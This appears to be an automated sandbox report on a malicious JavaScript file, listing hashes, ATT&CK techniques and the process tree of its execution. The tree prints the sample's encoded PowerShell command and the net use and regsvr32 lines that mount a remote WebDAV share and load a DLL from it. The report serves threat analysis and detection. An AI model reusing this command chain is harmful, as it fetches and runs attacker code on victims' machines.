02a6af42acec65eec55adb93da64781b983ea25eb9f9b3d645331956ae990bcb

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20-08-2024 14:20

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General

Target

02a6af42acec65eec55adb93da64781b983ea25eb9f9b3d645331956ae990bcb.js
Size

10KB
MD5

5d4843ffd9c9a4c82310776475c631ce
SHA1

5873ef4ab98beb0a6286d950970a1071b6056c0f
SHA256

02a6af42acec65eec55adb93da64781b983ea25eb9f9b3d645331956ae990bcb
SHA512

373800cfa5bc166dd11f9e4bf4fc3aba7118b064870ec014c94edf818d01b87c33e2afd62703ffafdc4c231c45c55a3b83f48b7bebb1bc26bc8c648e326a3bd9
SSDEEP

192:XQ15fdZfrktTmKiLV/Lpd+LRPNcPRNmHk1c5L+TZPiNPWUv6i2NP+NPmoDloG1iv:X0xdZfrktTmKiLV/Lpd+LRPNcPRNmHkT

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	628	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 628	2544	wscript.exe	30
PID 2544 wrote to memory of 628	2544	wscript.exe	30
PID 2544 wrote to memory of 628	2544	wscript.exe	30
PID 628 wrote to memory of 2888	628	powershell.exe	32
PID 628 wrote to memory of 2888	628	powershell.exe	32
PID 628 wrote to memory of 2888	628	powershell.exe	32
PID 628 wrote to memory of 2740	628	powershell.exe	33
PID 628 wrote to memory of 2740	628	powershell.exe	33
PID 628 wrote to memory of 2740	628	powershell.exe	33
PID 628 wrote to memory of 2740	628	powershell.exe	33
PID 628 wrote to memory of 2740	628	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\02a6af42acec65eec55adb93da64781b983ea25eb9f9b3d645331956ae990bcb.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADUAOAAyADIAMgA3ADEANQA3ADYAOQA3AC4AZABsAGwA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2888
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\2582227157697.dll
    3⤵
    PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/628-4-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

Filesize
4KB

Download
memory/628-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/628-7-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/628-6-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/628-8-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/628-9-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/628-10-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/628-11-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/628-12-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download